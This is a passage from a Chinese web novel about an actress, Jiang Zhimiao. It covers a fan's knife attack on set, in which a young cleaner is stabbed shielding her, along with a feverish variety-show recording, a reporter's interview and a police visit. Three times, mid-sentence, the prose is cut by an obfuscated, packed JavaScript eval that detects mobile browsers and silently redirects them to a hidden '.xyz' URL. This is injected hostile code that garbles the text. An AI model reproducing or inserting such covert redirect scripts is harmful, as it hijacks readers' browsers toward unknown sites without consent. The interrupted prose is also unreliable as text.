“好久不见啦,知渺姐,有没有想我呀?”剧组其他演员和江知渺总是保持着礼貌的距离,不管是因为她在影视剧圈前辈的位置还是因为她的绯闻命案,可楚妍姝倒像是什么都不在意,总是热情地靠上来。 “早啊,妍姝,好久不见。” 江知渺刚刚坐直,楚妍姝就迫不及待地拉住她的手臂,凑到她的耳边窃窃私语,“知渺姐,我刚听到了一个八卦!你知道筱悠为什么不演了吗?” 沈筱悠便是罢演的那位小演员,长相清丽,今年刚刚17岁,可已经算得上是小戏骨了,从10岁起就开始频繁出现在各大影视剧里。江知渺开机后曾去看过她的表演,演技也比较成熟。 “为什么?”她也觉得很奇怪,按照修导的说法,《流年似水》全部演员早就定好了,她是来救场的,怎么开拍没几天,沈筱悠就突然不拍了呢? “因为……”楚妍姝压低了声音,可她刚说了两个字,就被统筹的大喇叭打断了:“演员就位,演员就位。” 楚妍姝满脸的扫兴,没办法,场务喊得急,经纪人也来催促,她只好跟着江知渺先去拍摄。 原本杂乱无章的片场在统筹的指挥下,迅速变得井然有序,摄像师、灯光师、录音师等各司其职,提前搭建的摄影棚内光洁无尘。 这场戏是女主丛静颜在与男主韩叙声分手后,来到女二程露露工作的医院进行检查,发现自己怀有身孕。趁着最后的检查和准备时间,江知渺坐在医院长椅上,紧闭双眼,专注地在脑海中走戏,酝酿着一会儿的哭戏。 “江知渺。” 忽然,一个陌生的女人叫了她的名字,江知渺应声睁开眼。眼前的女人戴着口罩,面孔被完全遮挡,只能从泛着血丝的眼球中,窥见她极为沉重的情绪。 她想不起剧组有这样一位工作人员,感到非常奇怪,刚要开口询问这位陌生人的身份,便听那口罩下传出恶魔般压抑的低语:“我要你为他偿命!” 话音未落,一把寒光凛凛的匕首,向着她的脸挥过来! 20. 舍命 锋利的刀刃轻而易举地划破单衣,布革规矩的横纬竖经在利刃面前格外脆弱,任凭刀尖刺向皮肉。刀尖冰凉,不留一丝情面,触肤即破,撕开了最后一层庇护。 下一秒,温热的鲜血喷涌而出,温暖了薄如蝉翼的钢铁刀身。 江知渺从未听过刀刃刺入皮肉的声音,此时才终于知道,并非如电视剧配音的音效那般,爽利果断。 匕首扎进去的一瞬间,只有痛苦的低吟掩盖了一切噪音。随着刀尖越来越深,一层层割断皮肤组织、血管、肌肉,那所向披靡的背景音是极压抑闷哑的,仿佛就在周围有人正烧着一壶开水,临近沸点前最后一刻,滚烫的气体迫切地渴求着解脱。 终于,当刀尖穿透一层又一层皮肤组织的阻碍,触及五脏六腑,毒蛇吐信,寒芒一闪,直取死穴,换来声嘶力竭的呐喊:“救命——” 嗜血吸髓,白刃獠牙酒足饭饱,染着鲜血的刀身失了凛冽寒光,随着一声快速清脆的“倏”,满意地抽离滋养它的血肉沃土。 红色,鲜血,满目的红色,止不住的鲜血。 江知渺被眼前的一切死死地钉在原地,不自觉地屏住了呼吸。直到匕首掉落在地,挡在她面前的人,才如落叶般,不受控地向地面飘落。 “薇柔!” A市第一医院,ICU病房外。 “怎么样了?”梁栖月风风火火地跑过来,趴在病房门上的小窗口向内张望,看到一张苍白的面孔。 “医生说刀差一点就刺进心脏了,伤势很严重,刚刚脱离生命危险,还需要继续观察。”江知渺长叹一声,身旁的楚妍姝握住她的手,体贴地安抚着她的情绪。 “唉,能脱离生命危险就好,真是万幸。”梁栖月不住地摇头,“说到底还是因为柏霆宇的案子没破,警察怎么还没抓到真凶?不是说查到他有个隐婚的老婆,一年前还给他买了好多份保险吗……” 她拍了拍江知渺的肩膀,发现她紧紧地咬着下唇,欲言又止,梁栖月疑惑地问道:“你想说什么?难道是……还有危险吗?” 楚妍姝也在一旁观察着江知渺的神色,见她犹豫不决的样子,上前一步,靠近梁栖月的耳边,轻声说道:“她怀孕了。” “什么?!” 爆炸性的消息悄然引发一场巨震,梁栖月拔高了声音,不可置信地盯着江知渺,“那孩子……” “孩子还在。”江知渺用眼神示意着她们离开ICU病房门口。楚妍姝接了个经纪人的电话便匆匆离开了,剩下她们两人找到一排人流稀疏的座椅,坐了下来。 “你是怎么想的?”梁栖月严肃地盯着她,眉头紧皱。 江知渺将手里的水瓶捏了一圈又一圈,直到瓶身都被捏得不成样子,她似乎终于下定决心一般,长出了一口气,“我想办转院。” “原因?” “我不想让媒体来采访她。” “理解,你现在官司缠身,行凶者又是柏霆宇的粉丝,媒体肯定会问她关于你和柏霆宇的事。” “不全是这个原因。”江知渺抬起头,目光闪烁,“她应该也不希望被媒体打扰。” 梁栖月的眉头缓缓舒展开,语气轻快起来,调侃道:“你什么时候变得这么善解人意了?” 江知渺拿起手机,翻出她和柯妙妙的聊天记录,举到她的眼前。梁栖月读了半分钟,惊讶地转过头,难以置信地张大了嘴,“你调查过她?” “片场保洁一般不会有这么年轻的女孩。”她停顿片刻,意味深长地瞥了梁栖月一眼,“作为我的经纪人,你应该也已经发现了吧?” 梁栖月认命地举起双手,“好吧好吧,是我疏忽了。虽然她只是一个普通的农家女孩,不过现在人家舍身救了你一命,咱们是得好好感谢她。” 江知渺应声点了点头,“医生说她现在才怀孕两个月,等她转到普通病房,你帮我立刻安排转院,找个私密性好一点的私立医院,让她安心休养。” “这些都不难办。”梁栖月站到她的面前,阴影将她的身躯笼罩起来,迫使她抬起困倦的眼睛,接受提问:“但有一个问题,你有没有想过:她为什么会舍命去救你?” 这个问题,从匕首刺进程薇柔的心口,就一直强势地萦绕在江知渺的心中。“等她醒来再说吧。”江知渺揉了揉自己僵硬的脖颈,“现在有更重要的任务,今天的事你帮我写个声明,尽快发出去。” “这么着急?”梁栖月又坐回她身边,凑到她的面前,小声问道:“聿哥电视台那边又有要求?” 江知渺摇了摇头,“没有吧,但还是尽快发出去。” 她一心只想着不要让自己的新闻头条影响了邵聿的工作,冷不丁被梁栖月问住,那些被血液铁锈味凝固住的思绪,这才重新运转起来。 当时程薇柔刚被送进抢救室,距离事情发生过去了大约半个小时,江知渺忙着照看程薇柔的伤势,没来得及告诉任何人,所以接到邵聿的电话时,她就知道,片场的消息已经走漏了出去。 “你怎么样,有没有受伤?”邵聿的声音依旧平稳得像是无风的海面,让人想要仰面漂洋在微波上。 “我没事,但薇柔……就是帮我当下那一刀的女孩,伤得很重。”当时她的手上还沾着血迹,随着手握住手机靠在耳边,刺鼻的血腥味扑面而来。 “你现在在医院吗?” “嗯,她刚被送进手术室。你们台里都知道了吗?” “知道了。工作室还有其他人跟你一起去医院了吗?” “有……”她用细微短促的声音回答完他的问题,紧接着说道:“邵聿,我现在可能没有心思发声明。” 邵聿沉默了几秒,“什么声明?” “关于这件事的声明,凶手是一位过激粉丝,她以为我是……” “江知渺。”邵聿突然打断了她的话语,似乎是笑了一声,语气骤然变得冰冷,“你觉得我打电话来是让你发声明吗?” 江知渺不禁打了个冷战,她愣住了,努力想要理清因为突如其来的意外而变成一团乱麻的思绪,想要认真思考邵聿话外的含义,却发现自己的大脑一片空白,只能顺从本能,下意识问了一句:“什么?” “算了,你想发就发吧。”说完,邵聿就挂断了电话。 她被这没头没尾的对话搞得一头雾水,直到刚刚梁栖月问她前,江知渺仍然感到莫名其妙。现在,她忽然回过神来:也许电视台并没有要求邵聿对这次的事件给出解释呢? 或许邵聿打电话只是担忧她的安危,而不是要她的解释。问到工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699874|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室只是希望有人陪着她,而不是让她安排工作人员写声明。 好像这样就能解释通了,江知渺猛地站起身来,潦草捆住的发圈随着动作滑落在地上,长发瞬间遮住了耳朵,让她产生一种几近失聪的错觉,思绪却愈发清醒起来。 如果邵聿的电话真的是在关心她,那她方才的回应…… 她懊恼地叹了口气,回想起邵聿挂断电话时失落的语气,立刻掏出手机,想要给他回拨一个电话,告诉他自己很安全,让他放心。 “知渺姐,知渺姐!”冉然的声音突然从ICU的方向传来,“醒了!她醒了!”江知渺和梁栖月对视一眼,立刻收起手机,快步向病房走去。 “医生,她怎么样了?”主治医生刚好从ICU里走出来,江知渺迎上前去,急切地问道。 “病人情况稳定,不过失血较多,又有身孕,身体比较虚弱,还需要静养。” 梁栖月从小窗口向里探了探头,“那我们什么时候可以进去探望?” “三天以后,如果病人没有出现其他问题,就可以转入普通病房了。” 医生的话让江知渺悬了一夜的心终于沉下来,临走前,她预缴了未来三天的住院费和医疗费,又特意请了住院部最贵的护理员。 打点好一切,离开医院时已是次日清晨六点。意外发生后,修导主动提出给她放几天假,可江知渺还是拒绝了。 本就是临场救急得来的机会,之前已经因为换小演员的事情耽搁了几日,再因为自己拖累剧组进度,江知渺无论如何也开不了这个口,更何况,受伤的人并不是她。 「哎,就最近那个命案,你们怎么看?听说有新情况了?」 「你是说,警方查出,柏霆宇有个隐婚老婆啊?」 「对啊,而且还查出来,去年他还给自己投了好几份保险!你们想啊,他死了,那些钱不都跑那个女的兜里了?这杀人动机,可太充足了!」 「我还是觉得凶手是江知渺……」 剧组派来接她的司机大约是没有注意后座是谁,大剌剌地开着车载收音机,收听不知名调频的早间节目,嘴上哼着小曲儿。梁栖月坐在副驾驶上,听到这里,猛然扭头看向司机。 “栖月。”江知渺叫住她,沉默地摇了摇头。 「你们看过他俩拍的那个剧没?叫《凤皇止阿房》。」 「我看过我看过!这剧前段时间爆火了一把,你这么一说,他俩在那部剧里的确不太对劲。明明演的是姐弟,他俩那眼神反而比官配还拉丝!」 「而且,剧宣期间的各种活动和节目上,柏霆宇可是处处护着她,肢体接触就没停过!」 「哎呀,柏霆宇不是出了名的爱炒cp嘛。拍一部就爱一个,真真假假,谁说的清楚……」 本就是几个嘉宾的闲谈,话题很快就转移到别的事情上。江知渺按了按因通宵而酸胀的额头,靠在微凉的车窗上,这才缓解了几分。 然而,刚一闭上双眼,那些被她压箱底的记忆碎片,就一窝蜂地逃窜出来。 昏昏沉沉中,她好像又一次看到柏霆宇冲到自己身前,用宽阔的胸膛替她挡下猛烈的冲击。随着巨大的推力,他脱力地向后踉跄了一大步,肩背不自然地弓了起来,喉咙里传来一声痛苦的闷哼。 21. 高烧 春夏交际,气温波动毫无规律,突如其来的降温令所有人措手不及,尤其是奔波在多个城市之间、跑《凤皇止阿房》剧宣的江知渺,折腾了大半个月,终于在南方城市W城里,烧到了39度,倒在了酒店房间门口。 她平日里不常生病,无论怎么熬大夜赶夜戏,都没有倒下过。此次的感冒来势汹汹,勾起了身体里经年累月堆积的疲惫,加上生理期的到来,让站立都变得困难。 可下午一点刚刚降落在W城的机场,五点就要开始做妆造,晚上七点参加综艺彩排,彩排后也只有一个多小时的休息时间,十点正式开始节目录制,她没有任何休养的时间。 “要不,我去跟节目组商量商量,改一下时间?”梁栖月将她从床上扶起来,垫上厚厚的靠枕。 “怎么可能?”江知渺坚定地拒绝了她的提议,从冉然手里接过退烧药。 她张开苍白的唇瓣,艰难咽下药片,“S+的国民综艺,节目组台前幕后上百人,筹备了几个月。我是个职业艺人,难道还要让他们都迁就我?”说完,她深深地喘了几口气。 “可是你这身体状况,能坚持那么长时间吗?这是录综艺,又不是当观众,万一你倒在台上,岂不是更麻烦?” 江知渺虚弱地笑了笑,“咳咳,不至于的,只是发烧而已,又不是快死了……” “叩,叩。”突然有人敲门,冉然跑去门口,没过一会儿,就领着柏霆宇走了进来。 “你怎么来了?”江知渺刚要伸手往上拽一拽被子,柏霆宇的手就覆了上来。 “都发烧了,还不好好盖被子。”他直接握着她的手,将被子提到了下巴,还严严实实地塞好被角。 梁栖月和冉然不知什么时候离开了卧室,江知渺轻叹一声,“哪有那么严重,刚吃了退烧药。” 她想要用力把手从他的抓握中抽出来,可病体却没有丝毫力气,正当她准备再次尝试时,柏霆宇松开了手。 那只干燥的大手转而落在了她的额头上,健康成年男性的体温通常比女人的高些,此时在江知渺额头上却是小巫见大巫,江知渺甚至在他的掌心中感受到了一丝清凉。 柏霆宇的脸色肉眼可见地阴沉下来,深邃的眼眸眨也不眨地咬住她,江知渺被他盯得脸更热了,头也向后躲闪,“是发烧了,没骗你。” “那为什么还要逞强?难道对你来说,录节目,比健康还重要吗?” 柏霆宇很少用这么严厉的语气和她说话,此时拧紧了英气的眉毛,看上去倒是成熟了几岁。江知渺突然想象了一下,他用这个声线和神情,像平常那样叫姐姐,忍不住噗嗤一声笑了出来。 柏霆宇挑了挑眉,“你笑什么?” “你这样,和我弟弟以前教训我的样子好像。” 或许是高烧彻底搅混了她的思绪,也烧断了她大脑里始终紧绷的那根弦,未经思考的话语脱口而出,连柏霆宇帮她掖被子的手都停顿了几秒钟。 江知渺极少和旁人提起自己的弟弟,就像她不愿意承认,假如那天不是因为去车站接她,江知赫就不会死。 她弟弟比柏霆宇小一岁,自小体弱多病,不知从何时起,就总是皱着眉头,细长的眼尾拖着抹不掉的愁云,唯有见到姐姐时,才会生动几分。 她为自己用这样轻松的语气说起弟弟而愧疚,狠狠地咬了咬下唇,用痛意将嘴角的笑意收回去。 “这还是你第一次主动跟我提起他。”柏霆宇伸出手,将她眼前的一缕碎发别到耳后,不出意外,收获的是江知渺刻意躲闪。 “你主动提起的次数还不够吗?”她把头扭到一边,往被子里缩了缩。 柏霆宇意味不明的轻笑从另一侧耳畔传来,“是啊,毕竟我们都管你叫一声:姐姐。” 他站起身时带倒了椅子,江知渺听着他小心地扶起椅子,放回原位,许久都没有再发出声音。她又等了一会儿,估摸着人已经走了,才缓缓将头转回来——柏霆宇却还站在床尾。 江知渺被他吓了一跳,因为红肿的喉咙,只能发出无声的惊呼。柏霆宇满意地勾起嘴角,欣赏着她扑闪的眼睫,又恢复了江知渺习惯了的戏弄语气,语调高扬,“姐姐,你好好休息,晚上的录制,我会照顾好你的。” 他的身影消失在门口,冉然向他礼貌地道了别。随着门落锁的声音,耳畔回归宁静,高烧带来的耳鸣反而愈发磨人。江知渺彻底失去了思考的力气,沉甸甸地睡了过去。昏睡的几个小时里,她似乎做了许多梦,好坏掺半,喜忧交替,终究是没能踏实地休息。 她不知道自己是怎么完成妆造,又是怎么捱过漫长的彩排的,脚底如同踩在轻飘飘的棉花上,甚至根本感受不到自己脸上究竟是在笑还是在哭,每一寸肌肉都酸痛无比,轰隆的耳鸣在脑海深处嗡响。 她一个人坐在观众席上,工作人员贴心地送来一杯温水,江知渺捧着玻璃杯,茫然地看着明亮的舞台。台上,忙碌的工作人员正在做最后的检查和调试。 “还好吗?” 江知渺循着朦胧的声音望向身旁,高大的身影挡住刺眼的灯光,光芒笼罩在他的周身,背光之下,面容昏暗不清。 温水下肚,疲惫稍稍缓解,江知渺原本想回休息室小憩一会儿,柏霆宇悄然坐到了她身边,炽热的目光落在她身上,不愿移开半分。 “你怎么不劝我改天再录了?”她干脆仰头靠在柔软的椅背上,闭目养神。 柏霆宇也跟着她靠住座椅,头顶的射灯尚未完全打开,入目只有密集的线路和钢铁支架,让人很难联想到节目中那些梦幻炫彩的光芒。 “你不是不撞南墙不回头吗?”柏霆宇无奈地笑道。 江知渺向他的方向偏了偏头,他的面部轮廓隐匿在黑暗中,流畅分明,眼眸映射着舞台传来的温馨暖光。 她扶住了座椅扶手,借力撑起沉重的身体,走到他的面前。光是起身,便耗费了巨大的力气,于是倒了几口呼吸,认真说道:“既然你知道我是这样的人,那不如现在就把你知道的、关于我弟弟的一切都告诉我。” 她以为自己正式的语气能换来对方的严肃对待,可结果还是和过往无数次一样,柏霆宇慵懒地将双臂枕在脑后,目光毫不掩饰地将她从头到脚扫过一遍,赏玩着她期待的样子。 “我什么都不知道啊。”他翘起腿,锃亮的皮鞋鞋尖在她脚腕皮肤上暧昧地轻点。 江知渺把他的脚踢了回去,带了几分怒意,“柏霆宇,别装傻。你到底为什么不想说?” “装傻?”他摇了摇头,慢悠悠地站起来,忽然靠近她烧得发热的脸颊,鼻尖似有似无地扫过高热干燥的肌肤。 “什么时候你让我觉得高兴了,也许我就不会装傻了吧。” 轻扬的尾音像一条软舌滑过耳畔,引得她全身战栗。江知渺望着他远去的背影,将自己无力地摔进座椅。 她一开始只是想要一份宁静的生活,得不到,于是退而求其次,想要找出自己无法得偿所愿的缘由,可她始终也没能得到。 “回答错误!” 进入默契考验环节,随着题板翻面,露出柏霆宇提前写好的答案,大屏幕上瞬间放大了江知渺与他截然不同的答案。 机械摇臂灵活地转到她面前,四面八方无数台摄影机齐刷刷地将镜头对准她的脸,主持人和其他嘉宾纷纷笑着看向她。 大脑早已烧成一片空白,她还没来得及聚焦看清柏霆宇的答案,便听主持人高声倒数:“三,二,一——” 说时迟那时快,正前方的挡板骤然打开,五个黑衣人整齐地站成一排,举着各色塑料水枪,枪口直直地向她敞开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709464|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>对了,江知渺回想起十分钟前主持人念过的游戏规则:嘉宾两两分为一组,由节目组出题,同组嘉宾一方提前作答,另一方在游戏开始后限时十五秒给出答案。题目共计二十道,双方各提前作答十道,提前作答的一方可以用肢体语言进行提示,但不可发出声音。 每题作答时间结束后,会由主持人公布双方答案,一致则积一分,不一致则后作答的一方将接受喷水惩罚。 刚刚的题目是“谁是《凤皇止阿房》剧组最爱照镜子的人?”,她毫不犹豫地写了柏霆宇的名字,十五秒的提示时间里,柏霆宇只是笑着站在她面前,并没有给出任何肢体动作。 五支水枪的威力,在之前的几道题里,江知渺已经见识过了,其他组嘉宾基本都被淋了个落汤鸡。她屏住呼吸,暗自祈祷水流不要弄花她的妆容。不止是她,霎时间,在场观众几乎都屏住了呼吸,等待着这一精彩刺激的综艺效果。 然而,出乎所有人的意料,柏霆宇蓦地冲到她身前,张开双臂,结结实实地接下了冰凉的水流。 恰好水枪发生了故障,本该微弱的水流不知为何突然变成了一大束,如水龙一般,连举着水枪的工作人员都愣住了。猛烈的水流汹涌飞快地冲向柏霆宇的腹部,江知渺甚至能够在现场嘈杂的环境中,清晰地听见水流与人体撞击发出的闷响。 被这猝不及防的巨流击中,柏霆宇的身体自动开始防御,他弓起上身,手臂捂住腹部,踉跄了几步后,勉强站住脚。 观众开始尖叫,嘉宾们也在惊呼,主持人忙着控场,江知渺在超高分贝的噪音里,怔愣地望着他。 “她在发烧,沾不了凉水。”柏霆宇却立即恢复正常,仿佛什么都没有发生过,大方地接过主持人递来的话筒,解释道:“而且,保护阿姐,也是凤皇的宿命。” 话音未落,大家都露出了恍然大悟的表情,主持人审时度势地接过话题,“大家记得每晚八点,准时收看《凤皇止阿房》!” “放开我姐姐!”十四岁的慕容冲扑到身披金黄蟒袍的皇帝身上,拳头疯了一般地挥在他的身上。 “谁!”皇帝怒不可遏,一把将他掀翻,带着厚茧的虎口死死锁住少年人脆弱的喉咙。 “陛下,求求您,放过我弟弟,他还是个孩子……”泪水将慕容鸢一头瀑布般的秀发黏在脸颊,声音哀婉凄惨。 可慕容冲仍然瞪着那双漆黑发亮的眸子,被扼得几乎窒息也不错开眼神,“你……别碰,我姐姐……” 皇帝终于被他彻底激怒,手指用力抠住他颈侧的筋脉,“好啊,来人!”他掐着慕容冲的喉咙,将人往榻下随手一扔,“传旨!” “燕主慕容氏,昔为藩属,今既归诚,朕当推恩以待,以昭四海之和。清河公主,淑德有闻,柔嘉维则,宜充掖庭,备位椒房,以显朕之优容。 慕容冲,少而颖慧,风仪俊朗,虽系旧邦之裔,实有俊才之资。特准入侍禁中,随驾左右,以示朕爱才之心……” “……知渺姐,知渺姐?” 江知渺缓缓撑起眼皮,楚妍姝那双蕴着水光的大眼睛,正担忧地盯着她。 “知渺姐,你终于回来了!”见她醒来,楚妍姝眼睛一亮。 江知渺环顾四周,她还坐在从第一医院回片场的那辆车上,透过车窗可以看到熟悉的片场,梁栖月正快步往里面跑去。 “你不在的这一天一夜,有好多人来找你!”楚妍姝扶她下了车,“新娱报、快闻娱乐、星辉视界……”她掰着手指数道:“哦!国立电视台也来了,还有……” “你说什么?”江知渺站住脚,眉头紧蹙,“国立电视台?” 没等楚妍姝回答,一个响亮清脆的女声,从不远处传来:“知渺!” 江知渺闻声望去,李璟意正向她高高地挥舞着手臂。 22. 重逢 「你同事李璟意来我们剧组采访了。」 等待李璟意准备采访的时间里,江知渺想起自己还没有给邵聿一个合格的回复,删删减减,终于在采访马上开始时,确定了要发的内容,用微信发给邵聿。 “不好意思江女士,让你久等了。”李璟意端坐在她对面,打开录音笔,“我们现在开始采访?” “不用客气,叫我知渺就可以。”江知渺点点头。 李璟意始终带着职业的微笑,闻言更是加深了笑意,“好,那我就直接切入正题了:我们知道你昨天才经历了惊险时刻,非常感谢你在此时愿意接受国立电视台的采访,不知现在身心感觉如何?” “只是有些正常的疲惫。”她面不改色,礼貌地应答。 “那就好!”李璟意舒了一口气,“今天我们过来,是想了解一下当时的情况。据警方的消息,行凶者是柏霆宇的一位粉丝,对此你有没有想说的?” “没有。” 江知渺干净利落的回答让李璟意有些意外,她从屏幕上抬起头,用杏核般的眼睛仔细端详着她平静如水的面容,许久,发出一声了然的轻笑,“了解了。” 隔着房车窄小的桌子,李璟意能够很轻易地与江知渺对视。这是一双被公认为“有故事”的眼睛,两条流畅曲线勾勒出慵懒的轮廓,深处却蕴藏着化不开的墨色。她看人时总带着几分疏离,与这双眼眸凝视,身后便瞬间铺开了广阔的雪原。 “那么,那个保洁员是谁?又为什么会为你挡刀呢?” 抬眸时,柔软的春风掠过茫茫雪原,融化成一汪春水,平静透亮的水面上,闪过一丝微光。 “无论是什么原因,对她,我始终报以万分的感激。”她似乎是笑了笑,眼角的笑意倏忽而逝,余下大片留白。 被她跳过了第一个问题,李璟意在这第二个问题上并不打算轻易揭过,“据我们调查,这位保洁员只有二十来岁,这个年纪来做保洁,难道你不觉得奇怪吗?” 江知渺抿了一口咖啡,并没有回答。 “而且,目击者称,行凶者持刀刺向你的时候,她原本离你有一定的距离,看到匕首后才突然跑过来挡刀,如果不是具有充分的理由,我想应该没有人能够做到,拿自己的生命去保护他人。” 李璟意上身前倾,脸凑得很近,想要从她那张与邵聿一样、永远看上去异常平静的脸上,找出一丝破绽。 “知渺,她和你究竟是什么关系?” 谁知江知渺直接迎上了她毫不掩饰的视线,突然睁圆了双眼,噗嗤一声笑了出来,“怎么,难道现在又觉得我和这个人有什么不正当的关系吗?” 她不顾李璟意眼中的错愕,站起身来,打开房车车门,“今天只接受国立电视台的采访,是因为我以为,国立电视台的新闻部与其他媒体会有些不同之处。” 她抿起薄唇,没有说出下半句——现在看来,国立电视台的记者和那些营销号也没什么两样。 收到逐客令,李璟意却丝毫没有不满,甚至听出她的话外音后,也只是有条不紊地收好采访使用的各种设备,安排其他同事先离开房车,自己殿后。 临走前,她坦然地抬起眼眸,毫不示弱地望进江知渺那双漂亮的眼睛,“巧了,今天我们没有先进行调查,而是选择直接来采访,也是因为,我以为江知渺和娱乐圈其他艺人会有些不同之处。” “你这是什么意思?”江知渺反问道。 然而李璟意只是意味深长地笑了笑,待到脚步缓缓落在车外,身体完全离开房车,眼神却始终留在她的脸上。直到车门内的身影彻底消失在视野中,她才将头转回去,跟上同事的步伐。 她一言不发,可江知渺却读懂了。 那些戏谑的笑意背后,是毫不掩饰的讽刺:你江知渺入圈七年,自认清高,以为自己出淤泥而不染,不还是和别人一样——总有见不得人的秘密,不敢以真面目示人,戴着伪装的面具,时间长了,连哪个是真实的自己都分不清。 在演绎剧本里形形色色的角色时,真实的自己也在不知不觉间变成了其中的一个角色,最后从演员,化为无时无刻不在演戏的假面幽灵。 我究竟是谁? 江知渺怔愣着,发现自己太久没有思考过这个问题,忽然被李璟意问住,她竟然回答不出来。 国民女神、金视奖影后、影视剧大花……这是旁人给她施加的称号,她听得习惯,也就不再费心思去想,自己究竟是什么人,也不再去思索,自己和娱乐圈形形色色的人们有何区别。 现在这个被各种热点话题缠身的女人,真的是自己儿时想要成为的那个大人吗? 江知渺闭上双眼,她看到小时候的自己,那个梳着两股麻花辫、穿着明显大一号的衣服、瘦弱扭捏的小女孩,放学后飞快地写完作业,踩在凳子上急匆匆地刷完碗,偶尔失手打碎几个盘子被父母罚站,却没有一次错过广场上政府义务放映的电影。 小女孩跟着电影剧情又哭又笑,放映结束后,她痴痴地盯着各种比自己的个头还要高的设备,直到所有人离去,只剩渺小的一个她,站在空荡荡的广场中央。 她看到转眼间小女孩抽条儿般地长大了,少女亭亭玉立,珍重地捧着中央艺术大学的录取通知书,激动过后,却为学费烦恼地拧紧了眉头。 她整个暑假里每日只吃一顿饭,从早到晚打五份零工,洗盘子收银员售货员从未停下过,各种有名没名的杂志店铺品牌模特拍摄笑得脸都变僵,凌晨一点倒在床上时连手指尖都不想动一下。 她还看到了,这个少女抱着自己接到的第一个非龙套角色剧本,迎着大雨跑回寝室报喜,短短的两页纸被她翻来覆去地品读研究,对着镜子演了一遍又一遍,每一个眼神都经过反复排练,一颦一笑都饱含紧贴角色的设计。 可来到片场后,她连化妆间都没能进去,只接到一句轻飘飘的通知,说这个角色选用了其他演员,一分工钱也没结就将她赶出了片场。后来她还是从电视上看到,顶替她的那个演员,是投资方娱乐公司新签的艺人。 莫名的寂寥袭上心头,房车里的冷气分明开到二十六摄氏度,江知渺却感受到了阵阵寒意。 为何她已经拥有了从前想要的一切,反而却看不清自己的样子了呢? “知渺姐?” 似乎是看她闭着眼睛,冉然喊她的声音也放轻了不少,江知渺应声睁眼,冉然犹豫地问道:“那个……警察来了,说想跟你了解一下情况,你看……” 再过一个小时,剧组就要正式开工了,这个时间她本应准备去化妆。江知渺对着冉然点点头,“没事,请他们进来吧。” 周屹泽一米九的身高在低矮的房车里显得格外局促,从踏入车厢的那一刻起,他就不得不佝偻着脊背,在他身后紧跟着进来一个陌生的面孔。 江知渺请他们坐下来,向周屹泽问道:“这位是……” 不等他介绍,女警率先自我介绍起来:“江女士您好,我叫许昭,也参与VeilMansion一案的侦查工作,之前都在跑外勤,所以您可能没有见过我。”说完,她出示着自己的警官证。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732617|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警官证照片上的女警将头发高高束起,盘在脑后,露出一对精灵般的长耳朵,脸上化了淡妆,衬得本就灿烂的笑容更加欢快,若不是穿着干净整洁的警服,很难让人联想到这是一位庄严的警察。 江知渺双手将警官证递了回去,“许警官,您好。” 许昭本人与照片的差距并不大,虽然鬓角碎发遮住了耳朵,可清秀的眉眼间仍藏不住跳脱,随着咧开嘴的笑容,右上角的虎牙不听话地跑到下唇之上,比照片反而增加了几分稚嫩。 房车内本就空间狭小,又一下子坐了这么多人,和许昭说话的时候,江知渺感受到了从一旁投来的视线。她疑惑地回望向周屹泽,可他却躲闪开了。 许昭偷笑起来,“泽哥,不是你自己非要替马哥过来的吗?” “谁……”周屹泽的脸瞬间涨红了,语无伦次地支支吾吾起来,“谁非要来了……” “怎么,来了反而不敢直视你的偶像了?”许昭指指点点,促狭地笑着。 周屹泽抓起江知渺为他们准备的水杯,猛灌了几大口,将杯子“砰”地拍在桌面上,语速飞快,目光闪躲,犹豫地问道:“你……有没有受伤?” 江知渺又为他续满了水,微笑着摇了摇头,放轻语气,“我没事,多谢你的关心。” 眼见周屹泽长舒了一口气,许昭恨铁不成钢地用手肘推了推他,“哎呀,我替他说了吧!他可是你的超级粉丝,你的剧他一部也没错过,在局里天天给我们安利,值完班都得追平了才肯休息!” “哦?是吗?”江知渺冲他眨了眨眼,“那还要谢谢你的支持咯。” 或许是被许昭这一连串的调侃脱敏,这下周屹泽终于不再脸红,改成了低着头顾左右而言他。 “好了好了,不开玩笑了,咱们今天还有正事要做。”许昭摊开笔记本,理了理鬓角碎发,露出尖尖的耳朵。 “如果是之前的那个案子,我想我已经把自己知道的说了很多遍。”江知渺嘴角浅浅的笑意尚未完全褪去,语气却骤然冷淡起来。 “不是那个案子,是这次你遇袭的事情。”周屹泽回应道:“因为行凶者是柏霆宇的粉丝,所以两个案子合并侦查,都由我们来负责。” “江女士,您不用担心,我们今天来就是想了解一下案发时的情况,尤其是要确定是否存在团伙作案,以免此后再次发生类似的事件,对您的人身安全造成不必要的危险。” 